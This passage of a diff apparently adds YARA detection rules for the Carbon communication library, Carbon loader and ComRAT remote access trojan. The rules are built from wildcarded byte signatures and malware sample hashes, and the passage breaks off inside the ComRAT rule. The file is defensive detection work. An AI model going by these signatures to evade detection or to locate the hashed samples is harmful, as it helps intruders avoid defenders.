+		$block_63 = { 48 ?? ?? ?? ?? 0F B6 ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 83 ?? ?? 75 }
+		$block_64 = { 8B ?? ?? ?? FF C? 89 ?? ?? ?? 0F B7 ?? ?? ?? 39 ?? ?? ?? 0F 83 }
+		$block_65 = { 48 ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_66 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_67 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F 84 }
+		$block_68 = { 8B ?? ?? ?? FF C? 48 ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 75 }
+		$block_69 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 75 }
+		$block_70 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 7D }
+		$block_71 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_72 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 7F }
+		$block_73 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 85 ?? 0F 85 }
+		$block_74 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_75 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 85 ?? 0F 8E }
+		$block_76 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_77 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? 0F 83 }
+		$block_78 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 75 }
+		$block_79 = { B2 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_80 = { 8B ?? ?? ?? 8B ?? ?? ?? FF C? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_81 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_82 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 74 }
+		$block_83 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 86 }
+		$block_84 = { 33 ?? 8B ?? ?? ?? F7 ?? ?? ?? FF C? 0F AF ?? ?? ?? 89 }
+		$block_85 = { 8B ?? ?? ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 0F 85 }
+		$block_86 = { 48 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_87 = { 0F B7 ?? ?? ?? ?? ?? ?? 25 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_88 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? 0F B7 ?? ?? 3B ?? 7D }
+		$block_89 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 39 ?? ?? ?? 0F 85 }
+		$block_90 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_91 = { 48 ?? ?? ?? ?? 48 ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_92 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? 75 }
+		$block_93 = { 8B ?? ?? ?? ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? 74 }
+		$block_94 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_95 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 }
+		$block_96 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 0F 85 }
+		$block_97 = { B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_98 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 }
+		$block_99 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 8D }
+
+	condition:
+		hash.sha256(0, filesize) == "e82d4b6d037568a4602e70f099005572b587c220793afd8f90c13cb7bbde61ed" or
+		hash.sha256(0, filesize) == "d1ad698567b04ea5ce8197c0316444ad8ee0350b46e0414f53f54c278b393a19" or
+		hash.sha256(0, filesize) == "7fa4482bfbca550ce296d8e791b1091d60d733ea8042167fd0eb853530584452" or
+		24 of them
+}
+
+rule CarbonCommunicationLibrary_v4_00_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? 0F 84 }
+		$block_1 = { 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 84 ?? 0F 84 }
+		$block_2 = { 89 ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_3 = { 6A ?? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F B7 ?? 5? 6A ?? 89 ?? ?? FF D? 5? 5? 85 ?? 74 }
+		$block_4 = { 66 ?? ?? ?? 6A ?? 8D ?? ?? 5? 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_5 = { 8B ?? ?? 4F ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_6 = { FF 7? ?? FF 1? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_7 = { 48 ?? ?? ?? ?? 5? 5? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? 83 ?? ?? 0F 8E }
+		$block_8 = { 8B ?? 99 F7 ?? 83 ?? ?? ?? 8A ?? 83 ?? ?? ?? 33 ?? 4? 89 ?? ?? 88 ?? ?? 89 ?? ?? 85 ?? 7E }
+		$block_9 = { 8B ?? ?? 89 ?? ?? 8D ?? ?? 5? FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_10 = { 8B ?? ?? 6A ?? 8D ?? ?? ?? 5? 5? 5? FF 7? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_11 = { 8B ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_12 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_13 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_14 = { 0F B6 ?? 23 ?? ?? 8B ?? ?? D3 ?? 8B ?? ?? D2 ?? 0A ?? FF 4? ?? 83 ?? ?? ?? 8B ?? ?? 7C }
+		$block_15 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_16 = { FF 7? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_17 = { FF 3? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_18 = { 6A ?? 8D ?? ?? 5? 6A ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_19 = { 5? FF 7? ?? E8 ?? ?? ?? ?? 01 ?? ?? 0F B7 ?? ?? 83 ?? ?? 83 ?? ?? FF 4? ?? 39 ?? ?? 72 }
+		$block_20 = { 6A ?? 8D ?? ?? ?? 5? 5? FF 7? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_21 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_22 = { 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? BA ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_23 = { 44 ?? ?? 4C ?? ?? 33 ?? 48 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_24 = { 41 ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 41 ?? ?? 49 ?? ?? ?? 44 ?? ?? 0F B7 ?? ?? 44 ?? ?? 72 }
+		$block_25 = { 5? FF 7? ?? FF 1? ?? ?? ?? ?? 4? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_26 = { 8B ?? ?? 03 ?? ?? 03 ?? ?? 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_27 = { 89 ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 3B ?? 0F 85 }
+		$block_28 = { FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 8B ?? ?? 85 ?? 0F 85 }
+		$block_29 = { 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 45 ?? ?? 44 ?? ?? ?? 45 ?? ?? 89 ?? ?? 85 ?? 0F 8E }
+		$block_30 = { 48 ?? ?? ?? ?? 44 ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_31 = { 89 ?? FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 3B ?? 0F 85 }
+		$block_32 = { 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF D? 5? 5? 85 ?? 0F 84 }
+		$block_33 = { 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? ?? ?? ?? 5? FF D? }
+		$block_34 = { 6A ?? 8D ?? ?? 5? 6A ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_35 = { 41 ?? ?? 48 ?? ?? 41 ?? ?? 3B ?? 0F 4C ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 74 }
+		$block_36 = { 48 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_37 = { 38 ?? ?? 0F 94 ?? ?? 8D ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_38 = { 8A ?? ?? 8B ?? ?? 21 ?? ?? 88 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_39 = { 38 ?? ?? 0F 94 ?? ?? 8D ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 3B ?? 0F 85 }
+		$block_40 = { FF 7? ?? 5? 5? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_41 = { 6A ?? 8D ?? ?? 5? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_42 = { FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_43 = { 48 ?? ?? ?? 48 ?? ?? ?? FF 1? ?? ?? ?? ?? BF ?? ?? ?? ?? 85 ?? 0F 44 ?? 8B }
+		$block_44 = { 48 ?? ?? ?? 48 ?? ?? ?? FF 1? ?? ?? ?? ?? BB ?? ?? ?? ?? 85 ?? 0F 44 ?? 8B }
+		$block_45 = { FF 7? ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_46 = { FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? 3B ?? 0F 85 }
+		$block_47 = { 38 ?? ?? 0F 94 ?? FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 8B ?? 85 ?? 0F 85 }
+		$block_48 = { 8B ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 84 ?? 0F 84 }
+		$block_49 = { 8D ?? ?? 5? 8B ?? ?? 4? 5? FF 1? ?? ?? ?? ?? 5? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_50 = { 8B ?? ?? 83 ?? ?? 5? 8B ?? ?? 03 ?? 8B ?? E8 ?? ?? ?? ?? 5? 85 ?? 0F 84 }
+		$block_51 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_52 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_53 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_54 = { 44 ?? ?? 48 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_55 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? 25 ?? ?? ?? ?? 03 ?? C1 ?? ?? 83 ?? ?? 74 }
+		$block_56 = { FF 7? ?? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_57 = { 6A ?? 8D ?? ?? 5? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 86 }
+		$block_58 = { 4C ?? ?? ?? BA ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_59 = { FF 7? ?? 8D ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 3B ?? 0F 85 }
+		$block_60 = { 83 ?? ?? ?? 83 ?? ?? D1 ?? 0F B7 ?? 8D ?? ?? ?? 89 ?? ?? 85 ?? 74 }
+		$block_61 = { 5? 8B ?? 83 ?? ?? 5? 33 ?? 5? 8B ?? ?? 89 ?? 89 ?? ?? 39 ?? 0F 84 }
+		$block_62 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 33 ?? 5? 89 ?? 89 ?? ?? 39 ?? 0F 84 }
+		$block_63 = { 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 89 ?? ?? 89 ?? ?? 83 ?? ?? 0F 8C }
+		$block_64 = { 8B ?? 99 F7 ?? ?? 33 ?? 33 ?? 89 ?? ?? 89 ?? ?? 32 ?? 39 ?? ?? 7E }
+		$block_65 = { 8B ?? ?? 03 ?? ?? 5? 99 2B ?? 5? 8B ?? ?? 8B ?? D1 ?? 5? 3B ?? 7D }
+		$block_66 = { FF 7? ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_67 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 5? FF 1? ?? ?? ?? ?? EB }
+		$block_68 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 5? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_69 = { 8B ?? ?? 8B ?? ?? 03 ?? 0F B7 ?? ?? BE ?? ?? ?? ?? 66 ?? ?? 75 }
+		$block_70 = { 5? 8B ?? A1 ?? ?? ?? ?? 83 ?? ?? 5? 5? 33 ?? 33 ?? 3B ?? 0F 84 }
+		$block_71 = { 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_72 = { 2B ?? ?? ?? 0F B7 ?? 89 ?? ?? ?? 0F B7 ?? 3B ?? ?? ?? 0F 87 }
+		$block_73 = { 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 3B ?? 0F 85 }
+		$block_74 = { FF 7? ?? 6A ?? FF 3? ?? ?? ?? ?? FF D? 89 ?? ?? 3B ?? 0F 84 }
+		$block_75 = { 8B ?? ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 84 ?? 0F 85 }
+		$block_76 = { 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_77 = { FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_78 = { 68 ?? ?? ?? ?? 6A ?? 5? FF D? A3 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_79 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? 2B ?? 2B }
+		$block_80 = { 2B ?? ?? ?? C6 ?? ?? ?? ?? 69 ?? ?? ?? ?? ?? 3B ?? 0F 87 }
+		$block_81 = { FF 3? FF 7? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? B0 ?? C9 C3 }
+		$block_82 = { 5? 6A ?? 8D ?? ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_83 = { FF 7? ?? A1 ?? ?? ?? ?? FF 5? ?? 8B ?? ?? 3B ?? ?? 0F 82 }
+		$block_84 = { 68 ?? ?? ?? ?? 5? FF D? 5? 5? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_85 = { FF 3? FF 1? ?? ?? ?? ?? 8B ?? 5? 89 ?? ?? 85 ?? 0F 84 }
+		$block_86 = { FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 8B ?? 3B ?? 0F 85 }
+		$block_87 = { FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 0F 85 }
+		$block_88 = { FF 3? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_89 = { 68 ?? ?? ?? ?? 5? FF D? 5? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_90 = { 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 5? 5? 84 ?? 0F 85 }
+		$block_91 = { FF 3? ?? ?? ?? ?? FF B? ?? ?? ?? ?? 39 ?? ?? 0F 85 }
+		$block_92 = { FF 0? 03 ?? 89 ?? 89 ?? ?? 89 ?? ?? 3B ?? ?? 0F 8C }
+		$block_93 = { 8B ?? ?? 2B ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? 0F 85 }
+		$block_94 = { 8D ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 85 ?? 0F 85 }
+		$block_95 = { FF 7? ?? 5? 5? FF D? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_96 = { 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_97 = { FF 3? ?? ?? ?? ?? FF 7? ?? FF D? 5? 5? 85 ?? 0F 85 }
+		$block_98 = { 2B ?? ?? ?? 69 ?? ?? ?? ?? ?? 3B ?? ?? ?? 0F 82 }
+		$block_99 = { C6 ?? ?? ?? ?? 0F B7 ?? ?? 89 ?? ?? ?? 39 ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "d581b95b43c16407305f5d52631f044936b354ed921cb2efe8dfc9257960d2db" or
+		hash.sha256(0, filesize) == "c3b85bc12c84b8d050e2b9f682df06d93ceaeb4a18480227358baa99f4989e47" or
+		hash.sha256(0, filesize) == "e959e1fa1993f906cd1d8f014c82025b2eb77a67a3e0dc0f44be685700cdb76b" or
+		hash.sha256(0, filesize) == "2dc0f9e08bde378e8fe4e408b1b5f4bbbeacb251901009f25189a5a41a53ab47" or
+		hash.sha256(0, filesize) == "995d2b3924d5f517a795c0acc392e3d47f07787f58c77bb42ac2248393533f16" or
+		12 of them
+}
+
+rule CarbonLoader_v3_81_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 81 E? ?? ?? ?? ?? 5? 5? 33 ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 88 ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 33 ?? 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_1 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 33 ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 0F B7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? 83 ?? ?? 6A ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_3 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? 8B ?? FF D? 83 ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? A3 ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_5 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_6 = { 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "0b90db3a69aa8cfab36a66cd5390f46c32e3d88d8fcaefce8cd9e00700e10b65" or
+		7 of them
+}
+
+rule ComRAT {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 8B ?? ?? 5? 68 ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 83 ?? ?? 5? 5? 5? 5? 8B ?? 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 66 ?? ?? ?? D1 ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 66 ?? ?? 83 ?? ?? 25 ?? ?? ?? ?? 0F B7 ?? 79 }
+		$block_3 = { 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_4 = { 33 ?? 44 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 3D ?? ?? ?? ?? 0F 8D }
+		$block_5 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_6 = { 0F B7 ?? 89 ?? ?? 33 ?? 66 ?? ?? 5? 0F 95 ?? 5? 5? 5? 4? 83 ?? ?? 83 ?? ?? 0F B7 ?? 83 ?? ?? C3 }
+		$block_7 = { 3B ?? 89 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? 0F 84 }
+		$block_8 = { 8B ?? ?? ?? 8B ?? 0F B7 ?? 5? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 }
+		$block_9 = { E8 ?? ?? ?? ?? 33 ?? F7 ?? 8B ?? 03 ?? 9B 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? 8B ?? 5? C2 }
+		$block_10 = { 6A ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 81 F? ?? ?? ?? ?? 0F 8D }
+		$block_11 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 80 C? ?? 88 ?? ?? ?? ?? ?? ?? 4? 81 F? ?? ?? ?? ?? 72 }
+		$block_12 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 8B ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF D? 3B ?? 0F 84 }
+		$block_13 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? 0F BE ?? ?? ?? ?? ?? ?? 85 ?? 75 }
+		$block_14 = { 8B ?? ?? ?? 33 ?? B9 ?? ?? ?? ?? 48 ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? 0F 86 }
+		$block_15 = { 6A ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? ?? 3B ?? 89 ?? ?? ?? 0F 84 }
+		$block_16 = { 0F B7 ?? 8B ?? 66 ?? ?? 66 ?? ?? 83 ?? ?? 66 ?? ?? C1 ?? ?? 83 ?? ?? 83 ?? ?? 0F B7 ?? 75 }
